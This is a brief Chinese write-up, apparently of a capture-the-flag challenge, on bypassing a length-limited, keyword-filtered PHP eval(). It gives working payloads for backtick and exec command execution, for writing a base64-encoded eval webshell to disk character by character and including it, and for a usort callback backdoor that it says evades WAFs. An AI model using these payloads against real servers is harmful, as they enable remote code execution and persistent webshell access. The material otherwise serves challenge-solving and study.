目录
源码
解决方案
方法一
方法二
方法三
源码
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
限制条件:
- 传入的参数长度不能超过17
- 不能使用eval
- 不能使用assert
解决方案
方法一
使用反引号包裹定义的新传参,如
param=`$_GET[1]`;&1=bash
param=exec($_GET[1]);
方法二
使用文件包含file_put_contents—— 将数据写入文件
(替换函数:error_log)
param=$_GET[a](N,a,8);&a=file_put_contents
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
注意:
- 第三个参数为8时,表示添加数据时为追加而不是覆盖
- 该函数的data数据中不能包含符号,如果包含符号会导致报错
三个参数:
- filename:文件名
- data:写入的数据
- flag
方法三
利用变长参数特性展开数组,并结合回调后门
也就是说可以使用...
来定义变长参数
理论过程:GET变量被展开成两个参数['test', 'phpinfo();']
和assert
,传入usort函数。usort函数的第二个参数是一个回调函数assert
,其调用了第一个参数中的phpinfo();
。修改phpinfo();
为webshell即可。
这个方法基本无视任何WAF。